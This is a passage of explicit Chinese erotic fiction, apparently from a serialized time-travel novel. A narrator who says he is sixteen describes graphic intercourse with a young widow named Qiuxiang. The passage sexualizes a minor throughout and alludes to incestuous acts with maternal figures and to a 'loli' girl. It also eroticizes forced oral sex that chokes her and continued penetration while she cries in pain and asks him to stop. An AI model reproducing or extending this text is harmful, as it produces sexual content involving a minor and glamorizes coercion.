但是,今夜,我要细细品尝女人,女人,毕竟是奇怪的动物,让男人疯狂的动物,男人可以把她们当动物一样,不需要任何爱抚,不需要任何的感觉,只需粗野地揉捏她的乳房,拍打她的屁股,大肉棒刺进那只为男人留下的一个唯一肉口,尽情冲刺。也可以轻挑慢品,品尝女人留给男人的那种气息。

秋香的气息,的确与平常女人不同,不同于妈妈那种温馨恬静的母爱气息,不同于穿越过去那个娘那种骚媚气息,更不同于雨儿青涩稚嫩的萝莉气息,她是介于性萌发期和性需要高峰期那种女人,20岁的年华,20岁的韵味,嫁人不成,空守闺房,垂泪玄窗,等待男人的爱,等待男人给她快乐。

妈妈有过性经验了,对我是一个挑战,一个熟妇对上一个刚刚开启品尝女人的16岁男孩,我经验不足,甘拜下风,雨儿什么都不懂,就是痴恋他的哥哥,她那个年龄没有完全懂得男女性爱的美妙。但是这个俏寡妇就不同了,介于她们二者之间,既能满足我品尝和亵玩,又能和她一起摸索男女性爱的真谛。

我粗气大喘的,这个俏寡妇的魅力我抵挡不住,竟然能让我这个和自己那个所谓的娘日夜宣淫的「高手」如此痴迷。揉捏着俏寡妇的乳肉,停止对她丝丝入扣的舔吻和亵玩,抬起头来的时候。

俏寡妇娇吟着睁开眼,那水汪汪的杏眼蒙上一层薄雾,显示了潜藏在女人体内所有的魅力,突然支起身子,娇喘吁吁,紧紧抱住我,吐气若兰,尽量用她凝滑的香肌磨蹭着我楞次分明的粗壮身躯,我这才明白,女人为什么需要男人啦。

她们就是需要那种说不出的感觉,她们潜藏的欲望比男人还深。

秋香娇喘吁吁地抱住我,咬住我的肩膀,轻轻地咬,娇躯微微颤抖着,呓语着说道:「逍遥,好舒服,香儿好快乐啊,爱我,爱我吧。」

在她放开小嘴,收回银牙对我轻咬的时候,对上我的眼睛,那眼里如云似雾,激情澎湃,星眸半张半合的,一副慵懒和痴迷的神态,我受不了这份诱惑,大嘴一张,吻住了她香甜的嘴唇。

「嗯……嗯……」

秋香欲拒还应,不习惯我猛然的亲吻,秀眉一皱,在我大舌头轻轻划开她的两片薄薄性感的香甜嘴唇的时候,缓缓放松,微微张开小嘴,允许我的舌头滑入她的口腔,在她一张一合呻吟的银牙上敲打着,舔弄着,大舌头像一条水蛇一样,上下左右在卷揽着她口腔内的香甜津液。

「嗯,嗯,呃……」

秋香好像手足无措地用她小手在我背上乱摸着,用她那饱满的香乳使劲儿地磨蹭着我的强壮胸膛。

我用嘴唇嘬住秋香两片甜腻的嘴唇,在我们嘴对嘴的同时,发出「啾啾」的响声,我的大舌头一股一股地把她此时发情分泌出来的香甜津液悉数卷入我的口腔,那是一种享受,对于一个冰清玉洁的寡妇来说,她的每一滴液体,每一寸肌肤都是让男人疯狂的。

快要窒息的秋香慌乱地捧住我的头,俏脸火红起来,缓缓离开,朦胧水雾般的杏眼看着我,娇喘吁吁的地说道:「你……你好会亲人家,都快窒息了。」

我呵呵笑了,抚摸着她香滑的脊背,亲了她一下说道:「今晚,你的全部就是我的,我要享用你,享用你每一寸肌肤,让你彻彻底底成为我的女人,好么?」

秋香红晕的俏脸露出幸福微笑,银牙贝齿咬住红唇,轻轻点头,「嗯」了一声,羞赧地低下了头。

我捧起她的头来,爱煞了一样,轻轻说道:「把你的舌头伸出来。」

「啊?」

秋香显然不懂,羞红的俏脸抬起来,疑惑地看着我。

「伸出来,你忘了,我要享用你的一切,乖。」

我的声音不知怎么变了,变得深沉而深情,任秋香这么羞怯的女人也抵抗不了,抱着试一试的态度,轻轻伸出了她娇嫩的香舌。香舌夹在两片薄薄的嘴唇间,红嫩小巧。

看得我痴了,不由得张开大嘴,嘴唇嘬住她的小香舌,啊,那甜腻的感觉一下子涌上我的心头,我不由得用大手捧住她青丝飞散的臻首,嘴唇嘬住她的嘴唇,大舌头一下子逮住了俏寡妇的小香舌,尽力交缠着。

秋香先还是不上道,笨拙地只是伸出小香舌,任我品尝,机械地被我的大舌头挑来挑去的,但是她是何等冰雪聪明,这种事别说男人有天分,女人也很有天分的,随着我的挑动和交缠,她也用起了舌头的力量,追逐着我的大舌头,两条舌头像是两条要交欢配种的水蛇一样,蜿蜒交缠,尽情地卷揽着对方的津液。

「嗯……呃……」

秋香被我亵玩得不安了,乳头这时候涨得难受,看我亲吻不止,没有爱抚她乳房的意思,就自己玉手攀上乳房,尽情揉捏起来。

忘情的轻吻,忘情的交缠,我一蹬腿,大手攀上她挺翘的香臀,自己站起来了,把秋香也生生拉起来。就站在这满是花香的香床上,大手隔着她没有脱掉的牛仔裤,揉捏着她宣软的小屁股,由于动情了,情不自禁的,大手把她圆翘的小屁股捏成了各种形状,大嘴却是没停止,尽力拍打她的贝齿,尽力交缠她的香舌。

秋香被我封住嘴,只能「嗯嗯」地呻吟起来,抱住我的熊背,摸下我的结实屁股,似乎站不住了,小手探到前面,不知怎么就解开我的裤带,一股热气熏得她小手颤抖,伸进我的裤裆里,就在裤子里摸上了我早已经勃涨到极点的大肉棒,轻轻握住,就像那天晚上我教她的那样,轻轻撸动起来。

「啊……」

我爽的放开秋香的嘴,捏紧她的屁股,赞赏地看着娇羞的她,说道,「香儿,学的真快,对,就这样……」

秋香撸动着,娇喘吁吁地说道:「我要你,我好难受。」

我呵呵一笑,还不到时候,低头轻轻咬住她早已经耸立的乳头。

「啊!」

这一咬,秋香顿时停住了对我的大肉棒的撸动,紧紧捏住,头斜斜靠在我的肩膀上,方便我对她乳头的亵玩。

我咬住她的香甜乳肉,一寸一寸的咬噬,一寸一寸的舔吻着,最后舌头伸出来,拨弄她的乳头,为了方便挑逗她,我的大手又一次掬起她的乳房,使乳头更加高耸,舌头就像是拳王泰森练拳的时候,打掉在半空的拳球一样,快速地拨弄。

「啊啊啊……好舒服,不行了,不行了。」

没想到秋香的乳头这么敏感,修长的双腿一下子弯曲了,撸动我的大肉棒的小手马上掏出来,在我连续几百下的拨弄。我的舌头也困了,她也受不了了,一下子弯下腰来,小手捂住裆部的私处部位,哭泣似的说道,「我要尿了,逍遥,好强烈,啊……」

她一声娇喊,弯下了腰,我都不知道他怎么了,呆呆地看着她,秋香颤抖地悸动起来,「嗯,呃,啊」小屁股微微撅起来抖动起来。

她的私处突然一股热流从阴道涌出来,打在了牛仔裤上,虽然用手捂着,但是很快渗透到我看见的地方。

秋香羞赧欲死,看看我,一下子倒在了床上,蜷缩着身子,哭泣起来。

我马上压在她身上,吻吻她的脸说道:「怎么啦?」

秋香不敢看我,哭泣着说道:「好丢人啊,我尿了。」

我嘿嘿笑了,说道:「傻丫头,这不是尿,是女人在快乐的极点射出来的,我在书上看过,叫高潮,没想到我们的香儿这么敏感。」

秋香疑惑地抬起泪眼问道:「真的么?」

我点头说道:「说明你才是个真正的女人,我喜欢你这样的女人,这么敏感,这才是幸福呢。」

秋香娇羞地点头说道:「我好幸福,感觉飘起来了一样。」

看看我裆部顶起的大肉棒,红着脸说道,「你……你还没有那个呢。」

我拍拍她圆翘的小屁股说道:「早着呢,我要好好享受你。」

我解开了秋香的裤带,缓缓地退下她的牛仔裤,一片我还没有见过的雪白肌肤裸露出来,里面粉色的小内裤,绣着可爱的小花,一下子让我想起了我那天拿着妈妈的内裤撸动自己的大肉棒,也是这个花色的。

我觉得一股热流涌上心头,看看秋香娇羞地不敢看我给她脱裤子,头歪道一边,配合地抬起屁股,她身上现在就剩下那件可爱的小内裤了,这时候全被她高潮的蜜汁打湿。

我看的口干舌燥的,在秋香「啊」的一声娇吟声中把她翻过来,爬在床上,她的圆翘小屁股鹤立鸡群了,高高地翘起来,被那可爱的小内裤包住半个屁股,饱满而结实。

我兴奋地揉捏着秋香的屁股说道:「香儿,我要玩你的屁股,你的屁股好美。」

秋香扭动了一下屁股,转过头娇羞地说道:「屁……屁股有什么好玩的,你不要我了么?」

我低头隔着秋香的内裤亲了一下她的屁股说道:「要啊,我就是要你的屁股,你还记得我那天对你说过的话么?」

秋香疑惑问道:「什么话?」

我轻轻地打了她一下屁股说道:「这就忘了啊?我说,秋香姐,你人美,屁股更美,那天你撅着屁股差点被富根欺负了,我看见你的屁股好美,今天我终于能玩到这么美的屁股了。」

秋香嘤咛一声,被我说到了痛处,扭一扭屁股说道:「别说了,你愿意怎么玩就怎么玩吧?香儿是你的。」

我兴奋地双手拔下她的内裤,随着内裤缓缓退到了大腿上,一个雪白圆翘,结实丰盈的小屁股暴露在空气中,在花的灯光下,那雪白的屁股闪着耀眼的光泽,那厚实的两瓣屁股蛋,那条小巧可爱的屁股缝,还有藏在屁股蛋里那个隐约可见的鼓鼓的白虎穴。

我疯了!多美的屁股,不同于娘和妈妈熟妇屁股,透着青涩和稚嫩。我大手摸上她的屁股,一股滑腻的屁股肉感从手心传到大脑。

「这就是香儿的屁股么?啊!香儿,你怎么长这么美的一个屁股啊。」

我揉捏着,赞叹着。

秋香嘤咛一声,扭动着屁股,害羞地说道:「别说,别说,你……你玩就是了,人家害羞吗?」

我揉捏着秋香的屁股蛋,随着揉捏,那个可爱的菊花时隐时现,粉嫩娇艳,没有一丝杂质,虽然是排泄的所在,但是秋香似乎很爱干净,把这里也保养的那么娇嫩。

我揉捏着,故意用淫话挑逗这个羞怯的小寡妇:「香儿,你知道么?咱们村地理环境可算是神州大地最好的了,养人哪,把一个个女人养的水灵灵的,而且都前凸后翘,真想不到平时看不见的屁股都这么美,你知道么?这么美的屁股,肯定能生出一个健康宝宝的。」

秋香不堪我的挑逗咬住红唇,在我的揉捏下,「嗯嗯」地呻吟着:「你……好坏,干什么说这些呢?」

我揉捏着她的屁股,尽量亵玩,低头轻轻咬住她一边的滑腻的屁股蛋,一股清香的屁股肉味传来,我赞叹地啊了一声说道:「香儿,愿不愿意为我生个健康宝宝?」

说到这么大的事情,秋香伸出玉手向后打了我一下说道:「你……我,我愿意,我都是你的了,愿意为你做任何事情。可是你就是……就是玩人家的屁股,不那样怎么生孩子啊?」

我笑了,这小妮子等不及了,我没回答,先玩玩她的屁股再说,低头在她的屁股蛋亲吻着,轻轻咬着,每咬一下,秋香都会「啊」一声的,紧锁着屁股肉。

舔弄了她的屁股足足五分钟,把整个屁股蛋都舔湿了,添得秋香不安地扭动着屁股,像一条水蛇一样,扒开秋香的屁股蛋,又是一番美景,那一朵娇嫩的菊花就盛开在屁股蛋里,一圈圈褶皱像极了小漩涡,和我那天在玉米林里见的一模一样啊,只不过就是那时候是远景,这时候是零距离的赏菊啦。

秋香不堪亵玩,努力地紧缩着屁股蛋,不让我赏她的菊花,但是被我扒开屁股蛋,她的努力却是成了我另外一道美景,那句话的小漩涡蠕动起来,看得我兴奋,低头轻轻闻了一下那朵菊花。一股清香的味道冲入鼻孔,没有便味啊,真是奇怪的菊花。伸出舌头轻轻触碰在她的菊花上。

秋香惊得「啊」一声,摇摇头说道:「不要,逍遥,那里……那里是什么地方?你不知道么?你……你怎么哪里都玩啊?」

我呵呵笑了说道:「香儿,你这里很香的。」

「香?」

秋香恍然大悟地说道,「我……平时很爱干净,所以经常洗那里,可是……」

我笑说:「你忘了你叫秋香么?」

秋香羞赧一笑说道:「你就是贫嘴,你到底要不要我啊?」

我又笑了,没回答她,玩弄了一会儿她的菊花,不敢再玩弄了,她这样兴奋,蠕动着菊花,再说刚吃了冷东西,即便是她经常洗,但是要是她这时候不小心放出一个臭屁来,那这秋香的名字也就糟蹋了,我们两个都难堪。

我往下一看,另外一道美景啊,菊花下面光溜溜的一条肉缝,洁白娇嫩,被我扒开了屁股蛋,也就把她紧闭的白虎小穴口给拉开了,秋香的阴唇很小,被大阴唇包在里面的小阴唇几乎看不见,扒开的鲜嫩肉缝,鲜红色的流淌着蜜汁,一个只能容一根手指的肉洞里面,那水汪汪,红艳艳的嫩肉在蠕动着,在阴道口不远的地方,有一层白色的抱抱的膜,那就是处女膜了,像一张小蜘蛛网结在里面,中间却是有个不大不小的洞,大概是为了方便月经排出吧。

我看得口干舌燥,秋香却是尽量紧锁着她的屁股肉不让我看,几乎哭泣地说道:「不要看啦,不要看啦,那里好丑的,逍遥,求你了。」

我合上她的屁股蛋,结束了这次赏菊和赏花之旅,拍拍她的屁股蛋,把她抱在怀里,看她委屈地夹紧了双腿,不让我看,我有些心疼了安慰道:「香儿,你答应我把你的全部给我,我看看怎么啦?」

秋香把头埋在我怀里说道:「不要,好羞人啊,那里怎么能随便看嘛?我听玉嫂说过,女人那里最脏了,又丑又脏的,而且……而且,我就是因为这个吓死了我的丈夫,我……我一直心里害怕。」

我呵呵笑了说道:「你丈夫就是胆小,女人那里那么美,他倒给吓死了,你知道么?我刚才看到那里,很漂亮啊,你想想,男人那个插进去那么美妙,有从那里生孩子,男人都叫那里是仙人洞呢。」

秋香捶我一下说道:「我……我又不是坏女人,没有玉嫂放得开,你这样看人家,人家当然害羞啦,哪里不能看,就要看那里,坏死了。」

我笑了,坏坏地要摸她的双腿间,秋香夹紧腿不让我摸,我吻住她的嘴,秋香「嗯」一声又把手伸进我的裤裆说道:「你这里都硬成这样了,还不要我啊?」

我呵呵笑了,听她这么一说,情欲大增,跪起来,秋香会意地给我脱下裤子,看看我把内裤都顶起来了,羞羞地一笑,迟疑一下,给我脱下了内裤,大肉棒「啪」的一声弹在小腹上,秋香敬畏地看着我的肉棒,那粗壮和凶悍让她担心,玉手轻轻握住,撸动着不无担心地说:「这么大,我还是怕,我下面那么小,撑坏了怎么办?」

我哈哈笑了,抚摸着她的脸说道:「不会的,女人那里可以容纳任何男人的肉棒,孩子都从那里生出来的,怎么会撑坏呢?」

我按着她的头说道:「像那天晚上一样,给我含含。」

秋香迟疑地低下头,小嘴一张,一股男人腥臊味让她马上皱起了眉头,被我按着头,终于把紫红色的大龟头含进小嘴里。

「啊!香儿,你的嘴好棒啊!」

我用力按着她的头,趁她不注意的时候手探进她的双腿间,拨开了娇嫩的阴唇,手指滑进去。

秋香一下子屁股一抬,想躲已经来不及了,被我按着头,嘴里「恩恩饿」的呻吟起来。

我冷却的情欲被秋香魔术般的嘴唇给激起来了,手指在水淋淋的小白虎穴里搅动着,秋香从没有被异物侵入那里,一阵不适应,自己颤抖着,含不住我的大肉棒了。

我舒服的按住她的头,就像插进她的白虎小穴一样,在她小嘴里抽插起来。

手指更是搅动得更快了。

「嗯嗯嗯」秋香把屁股抬起又放下,被我这么粗鲁的亵玩,她已经不堪,离不开我的肉棒,屁股扭动起来。

终于我用力过猛,一下子插到她的喉咙里。

秋香眼泪哗哗的,咳嗽着推开我,倒在床边作呕起来,泪汪汪地看着我说道:「你……你好坏,那么用力干什么?」

我哄着她说道:「对不起,香儿,我太兴奋了,我想要你。」

秋香这回不依我了,娇嗔地推开我说道:「不要了,你这么对我,我怎么受得了?」

我吻住她的嘴唇,给她安慰,说道:「香儿,我都说对不起了,我会温柔的,求你给我吧,我下面快爆炸了。」

秋香毕竟是个温顺的女孩,拉起我的手,说道:「你轻点,好么?我怕!」

我轻轻把她推倒了,压在她身上,鼓胀的大肉棒顶在了她双腿间,抵在她的娇嫩花唇上,吻一下她的脸说道:「不要怕,有我呢。」

情话对女人来说是致命的,秋香温顺地张开腿,颤抖地抚摸着我的脸说道:「逍遥,这是我的第一次,你要好好对我,我已经受过伤害了,被人白眼,我想在我第一次留下美好回忆,答应我好么?」

我也动情了,点头,手探到她的阴唇上,正被我的火热大肉棒顶着,摸着水淋淋的白虎小穴,吻住她的嘴唇,尽量给她安抚,握住大肉棒,划开了她的娇嫩阴唇,轻轻一送,整个大龟头没入她紧窄的阴道口。

「啊!」

秋香颤抖地紧紧抱住我,便是这么一下让她有了被撕裂的感觉,大龟头硕大的前部已经顶在了她的那层膜上。

「嘶!香儿,放松点,你下面很紧啊。」

我被包裹住龟头已经是爽到了极点,这么紧的肉口,不愧为处女,而且是个处女小寡妇。

「你慢点!你慢点!逍遥,求你,好痛,要被撕裂了,你的太大了,慢点!」

秋香连连摇头,青丝飞散,紧紧抱住我的脊背。

我知道破处很痛,我准备给她安慰:「香儿,女人都要过这一关的,你什么都别想,别想着痛,想着你对我的情义,想着你喜欢着我,想着我们到了这里能幸福在一起,好么?」

秋香被打动了,定下神来,支起头来,主动轻轻吻了我一下,深情说道:「我喜欢你,逍遥,让我做你的女人吧,我不怕痛,爱我吧。」

我听着,捏住她的乳房,低头轻轻吻住她的香唇,看秋香沉醉了,沉醉在她对我的那份爱里面,我提起腰来,缓缓突破,顶在那层膜上,那层膜何等有弹性,我准备轻轻顶破,但是这层膜韧性十足。

每顶一下,秋香倒是没以前那么喊痛了,被我封住的嘴,只能「嗯」地叫一声,娇躯颤抖一下。

我这样的抽插已经很受用了,秋香的小穴那么紧窄,在异物侵入的时候,极力推拒着我的侵入,这正好成了我的享受,被那里面从来没有男人进入的嫩肉推拒成了蠕动,成了吮吸。

我抽插了一会儿,秋香浑身颤抖着,长痛不如短痛,我紧紧地捧住她的头,吻住她的唇,屁股一抬,连根抽出,大龟头抵在花唇上。

一声晴天霹雳!

一次猛烈插入!

随着秋香的指甲陷入我的脊背,星眸大睁,玉面惨白,娇躯颤抖。

「嗯……」

被我封住的嘴,发出的是从心底那撕心裂肺的一声闷哼,而就在那一刻,在我大肉棒霹雳般地冲破那层薄膜,势如破竹地撞在她娇嫩的花心上的那一刻,一切好像停止了。

「啊!」

我爽的仰起头来,处女的小穴就是紧,加上秋香疼痛下发动了阴道里所有的力量抵抗着我的侵略,一下子那本来紧窄无比的白虎小穴,这时候却是像要把我的肉棒夹断一样,紧紧包裹着,就连阴道里的嫩肉也在颤抖。

秋香惨白的面庞上滑下两道请泪来,抱住我没有放松的意思,喉咙里呻吟着,呜咽着。

我放开了她的嘴唇,秋香瞪着眼睛看着我,话都说不上来了:「唔唔唔,好……疼,我要死了,好疼,要被撕裂了一样。」

我被夹得也是咽了一口唾沫,这么紧,里面这么热,可不同我干过的那个娘,至少接纳了肉棒,破了处,没那么紧,但是秋香这么夹着,我隐隐感觉有种想射的冲动,太紧了。

我抚摸着她的头说道:「别怕,痛就这么一下,别……别夹这么紧,里面放松点,不然我会射的。」

秋香颤抖地抱住我,呜呜地哭了,说道:「真的好痛啊,没想到这么痛,我不要了,我不要了。」

我安慰着她说道:「你不是要给我么?刚给你破处了,你再不享受一下我的肉棒在你的里面感觉,那太浪费了,放松点。」

秋香哭着点点头,终于放松了阴道里全部的抵抗,我呼了一口气,这妮子,肉口那么小,天生这么紧,差点射了。

我揉捏着她的乳房,亲吻着她的面庞,下面却是不敢动,怕她痛,在我一番抚慰下,秋香的脸色回复了艳丽,娇喘吁吁地对我说道:「你动一下,别把你憋坏了。」

我感激地对她一笑,肉棒轻轻抽动,秋香「嗯」一声又把我抱住,干脆说道:「你动吧,我忍着点。」

然后银牙咬住。

我揉动着她的乳房,屁股抽离,抽到一半,轻轻送进去,在秋香的几次痉挛一般的夹紧中,这样轻柔的抽动,让她一下子面色潮红,吻我一下说道:「我不怎么痛了我气喘吁吁地抽动着说道:」

香儿,怎么这么紧呢?你下面太紧了,里面夹得我好舒服,我好爽啊,夹紧点。「秋香扭动着屁股,我受不了了,要像干娘一样给她猛烈的快乐,坐起身来,把住秋香的两条腿,抬起来,低头一看,自己的肉棒正好抽出来啦,带着秋香鲜红的处女血,我一看到血就更兴奋,想着这个小寡妇被我侵占,有一种成就感,她那饱满的两片阴唇像嘴唇一样夹着我的肉棒,被我的大肉棒插进去撑到了极致,光洁无毛的整个阴部被汗水打湿。

我看得口干舌燥,准备玩点新鲜的,把秋香的腿一抬,屁股抬离了床面,腿一下子折到她的胸部,那还在被我插着的阴户这时候无限的突出,让我看了更加兴奋,站起来,微微蹲下,肉棒自上而下,抽出来,狠狠贯进去。

「啊……啊……逍遥,这个姿势……啊,好痛,你顶到人家里面了,啊……啊,逍遥,轻点啊,被你弄死了,放下来好么?这样插得太深了啊。」

秋香臻首乱摆,抓住床单,连连喊叫。

我抽插着,汗水淋漓的,这个小寡妇,太紧了,让我这么费力,干娘的时候没这么费力,我气喘吁吁地抽送着,安慰着说道:「香儿,不要怕,一会儿就有感觉了,啊……你好紧啊,天哪,我插进去都费力了。」

秋香温顺地握住拳头,突然看见自己屁股被高高抬起,而自己被蹂躏得有些肿胀的肥嫩阴户含着一只绝世的大肉棒,而且大肉棒还在里面进进出出的,拉出了她藏在里面的鲜嫩阴肉,自己的的阴唇里被拉出了蜜汁,被大肉棒生生插入,四处飞溅,而自己的爱人气喘吁吁地抱着她的叫,半蹲着,自上而下地猛烈抽插。

「……啊……啊,逍遥,啊啊……好深,真的,你说的没错,有感觉了,你的大东西这么连续顶着我最里面,好麻啊。」

秋香一边呻吟着,扭动着屁股,怔怔地看着我和她交合的地方,看得呆了,看见我坏笑着看着她,马上羞得捂住脸。

我气喘吁吁地抽插,每一次的抽插让我欲仙欲死,这个小寡妇,不尝不知道,一尝真是美味的一道大餐啊,这么紧,她的害羞增加了我的情欲。

「啊……嘶嘶嘶,香儿,啊,好爽啊,从来没这么爽过啊,你的这个东西真是个好东西啊,夹得我好爽啊,香儿,睁开眼睛看看,继续看啊,啊……」

我在抽查里忙里偷闲,怂恿着呻吟声更大的秋香看这幅美景。

「啊啊啊……太重了,逍遥,好舒服,不痛了,我不敢看,那么丑啊,男人和女人原来就是这样啊好丑,好丑啊,你的那个怎么能插进去了,被你撕裂了啊。」

秋香摇着头,青丝飞散。

「啪啪啪」我自上而下的操干,撞得秋香的会阴一股震撼的颤动,不管她看不看了,自己被这个羞答答的俏寡妇夹得够舒服了。

「呃……啊……逍遥,快点,我要快点的,里面难受,快。」

秋香的屁股在我的腹部乱扭起来,紧紧攥着床单,在我的猛烈抽插下头乱摆,青丝乱飞。

自己的两片肥厚阴唇敌不过我的大肉棒,准备要含住,被我大肉棒生生拉开,捅破,里面的嫩肉像是小嘴一样吮吸着,欲拒还应的。

「啊啊啊,逍遥,我支撑不住了,放我下来吧,好酸啊,啊啊啊,你好狠。」

秋香受不了了,自己的香汗淋漓了床单。

我这差不多五百多下的抽插,也让我有点脱力了,气喘吁吁地放下了秋香的腿,秋香实在不行了,一下子瘫倒床上。

我喘着气,倒下去抱住了秋香粘糊糊都是香汗的身体,吻着她的嘴唇问道:「香儿,你那里为什么那么紧呢?好累啊。」

秋香羞得打我一下,娇喘吁吁地,颤抖着娇躯,摸一摸自己的红肿阴户说道:「还说呢?是你自己太大了,都被你弄肿了,好疼啊。」

我用大肉棒顶住她红肿的阴唇说道:「怎么样?是不是很舒服啊?」

秋香娇羞地点头说道:「是啊,终于成你的女人了,好舒服啊,不过姿势很丑啊,那么折腾人家,你哪里学的招数啊?」

我呵呵笑了,大龟头轻轻滑入她的阴唇说道:「我还有更好的呢?你想不想要?」

秋香怪嗔地看着我说道:「还有什么?」

我说道:「你跪起来,我从后面插进去。」

「啊?」

这个小寡妇什么也没见过,大惊小怪的,「那……那不是猪狗交配的时候的姿势么?我不要。」

我笑说:「我们不是猪狗,我喜欢你的屁股,我要一边干你,一边看着你的屁股,好么?」

秋香打我一下说道:「什么叫干我?说得那么难听,你要怎么玩,随便你了,就是轻点,人家刚破瓜。」

我拍拍她的小屁股,拉她起来,让她跪下,上身爬在床上,但是腰却是高高拱起来,害羞地怕我看到什么。我却是看的一清二楚,两片肥厚的屁股蛋中间那个光溜溜的无毛小穴,早已经红肿不堪。

我撸动大肉棒,轻轻地低在那个交欢的口上,扒开她的屁股蛋,深呼吸一口气,要不一用力「噗嗤」一声清脆的插入。迅猛地抵在她的花心上。

秋香「啊!」

的一声扬起了头,倒是把腰塌下去了,抓紧了床单,颤抖着说道:「太重了,轻点,好人,你弄死我了。」

我把住她的屁股,看见自己的肉棒竟然全部插进去了,这个姿势确实很深啊,难怪她受不了。看着她的美屁股,兴奋到了极点。

把住她的屁股,又一次发动马达,全根出全根进,每一次撞击都让秋香撕心裂肺的「啊」一声,菊花紧缩,头在空中乱摆,青丝飞散。

她的紧夹和抵抗,让我一百多下的撞击和冲刺,大汗淋漓的,手里的屁股肉被捏红了,气喘吁吁地说道:「香儿,你里面好舒服啊,夹得越紧了,终于得到你了,那天……啊……嘶……好爽,那天就看着撅着屁股差点被富根插进去,害得我的肉棒一天没下去,终于得到你这个小寡妇了,你太紧了,我要玩你一辈子。」

秋香被干的七荤八素的不知所以,呻吟的声音也小了,扭动着屁股迎合着我每一次震撼的撞击,摇摇头说道:「不行了,你说什么?啊啊啊,好重啊,逍遥,被你弄死了,我好像又要尿了啊。」

我发现她浑身潮红,菊花紧缩,屁股肉在颤抖,阴道里越来越热,这小妮子当真是要高潮了,我为了推动她的高潮,又半蹲起来,自上而下地,用大肉棒刺入那个小口。

「啊啊啊啊,逍遥,太重啦,我要来了,啊啊啊啊,天哪,我要来了啊。」

秋香在我半蹲起来几十下的操干,屁股摇摆不定,双腿颤抖,声嘶力竭地喊叫起来。

终于在我最后的十下冲刺,我的体力也耗尽了,干处女实在太累了,秋香「啊!」

的一声大叫竟然被我干趴下了,我跟着她爬在她背上,秋香「唔唔唔」的整个身子颤抖起来。

阴道紧缩,浑身火热,香汗淋漓,紧紧抓住床单,悸动起来。

我感觉她夹着我的大肉棒越来越紧越来越热,弄得我脑海里一个激灵,龟头麻痒。

「啊,嘶,香儿,我也快射了,你好紧啊,太紧了。」

也不顾秋香高潮以后虚弱,抓住她的胸前乳房,大肉棒也开始最后冲刺,就在她趴在床上,微微翘起的屁股蛋里的肉口,小腹紧紧地贴着她的屁股蛋。开始冲刺。

这样的姿势,她柔软的屁股蛋给我的感觉不可估量,我强行耸动着屁股,自上而下地穿过屁股蛋,刺入那个温暖紧窄的肉口。

感觉越来越强烈,秋香刚刚高潮,里面何等的敏感,被我这么折腾,又开始「哎哎哎哎」地嚎叫起来:「不要了,逍遥,啊,好痛,人家刚破瓜,你要怜惜人家,啊啊啊。」

她的嚎叫,激发我的兽欲,继续耸动着,穿刺着她,「啪啪啪啪」小腹撞击她的嫩臀何等有力,嫩臀上的水珠和我的汗水,被撞击的四处飞散。

我耸动着一发不可收拾,太舒服了,尤其在射精的前夕,那是任何人都阻挡不了的。

我耸动着,咬住秋香的耳朵说道:「香儿,好舒服,我要射了,射进你里面好么?」

秋香几乎哭泣着,什么都依着我了,扭动着屁股说道:「快点,我受不了了,你……你快点射啊。」

我耸动着,继续挑逗:「你的……啊……快了啊,你的月经过去几天了?」

秋香被我这样干的迷迷糊糊的,我问她,她只能应付:「你……你这个坏蛋,七天了啊,你快点,快被你撕裂了啊,人家受不了了。」

我耸动着,大汗淋漓,说道:「给我生个孩子,我要射进去,你给我生个孩子。」

秋香温顺地点头说道:「给你生个孩子。」

我也是恍惚了,淫荡地说道:「射进你的屄里面。」

我和秋香都恍惚了:「射进我的屄里。给你生个孩子。」

也许就是这么良家羞答答的俏寡妇,说出这淫话让我更加兴奋,我抓紧了秋香的乳房。

脊椎麻凉!

大肉棒麻木!次次撞击秋香娇嫩的花心。

终于我「啊!」

的一声仰起头来,大吼一声:「香儿,我射了!」

肉棒被秋香似乎是抵抗的力量推拒着,吮吸着。要了我的命了。

小腹紧紧地贴着秋香的嫩臀,肉棒严丝合缝地全部插进她娇嫩的阴道里,抵在花心上,就在那一刻,世界停止了。

我颤抖着,悸动起来,一股火辣辣浓稠液体汹涌澎湃从尿道冲出来,从马眼里喷出来,火辣辣的打击在秋香娇嫩的花心上,每射一发,秋香的屁股一阵抖动,嘴里「嗯」地喊叫一声。屁股肉紧紧绷直,上身仰起来。

而我就这样捏着秋香的乳房,额头和手上青筋暴出,闭着眼睛,低下头,完成了穿越回来我的第一次畅快淋漓的射精。

我们两的姿势,不伦不类,像极了乌龟背上趴着另一支乌龟在交合中高潮。

太爽了!这个俏寡妇就是和别的女人不一样。

足足一分钟,我们两人同时轰然倒下!

两个人喘气的力气都没了。

我抽出肉棒,翻下身来,秋香却是幽怨地看我一眼,侧躺过去,不理我了,我背后看见,她后翘的小屁股中间那个红肿到极致的白虎小穴,快变成了红虎小穴了,小穴微微张开,被我这么大的肉棒撑到极致了,再也合不上。

突然听见秋香嘤嘤地哭起来,随着她的哭泣,阴唇一张一合,一股混合着我的浓稠精液和她残存在里面的处女血缓缓流出来,留在屁股蛋上,滴在了床上。

我知道我为了自己的兽欲,蹂躏这么一个刚刚破瓜的俏寡妇,我过去把她扳过来,俏寡妇梨花带雨的,楚楚可怜,看得我心疼,眼泪纷飞的捶打着我。

我一把把她搂进怀里连声说:「对不起,对不起,香儿,我不好。」

秋香却是嘤嘤哭起来,委屈的像个孩子。

我这才明白了,我回来以后,这里不一样了,我不能用对待我那个所谓的娘的方式,对待这个羞答答的小寡妇,她的矜持让我敬畏。

我抚摸着她的娇背,说道:「别哭了,今天是我们两大喜的日子,你还叫我是你的郎,怎么像被小流氓欺负了一样呢?」

秋香抽泣着终于说话了:「你就是个小流氓,人家人家把自己的贞洁给了你,你这样对我,不心疼人家,还让人家说那么恶心的话,你坏死了,你让我给你生孩子,和我做这种事,我都依着你,但是你不能这么侮辱我。」

我摇摇头说道:「我错了不行么?以后,我像对自己老婆一样对你好么?」

秋香白我一眼,破涕为笑。

我坏坏地抚摸着她红肿的白虎小穴,粘糊糊的都是我的精液,秋香「嗯」一声按住我的手说道:「疼!」

我吻住她的小嘴说道:「你真的要给我生孩子?」

秋香不知道经过这事以后,害羞还是怎么的,话少了,只是点头说:「嗯!」

我呵呵笑了,拍拍她的小屁股说道:「我才十六岁呢,就让你给我生孩子,我怎么养活啊,说实话,我真是坏了点,射进去那么多,你真的是排卵期么?」

秋香红着脸只是说道:「嗯!」

我自嘲地笑了,这小寡妇真奇怪啊。但是她要是真的怀上了我的孩子,如果我回去,我怎么给她妈交代,怎么给我妈妈交代呢?

她倒是不在乎这些,说她有点傻,傻的可爱。

我沉思良久,小寡妇抬眼看着我说道:「当家的,我累了。」

我笑着吻吻她的嘴唇说道:「累了就睡吧。」

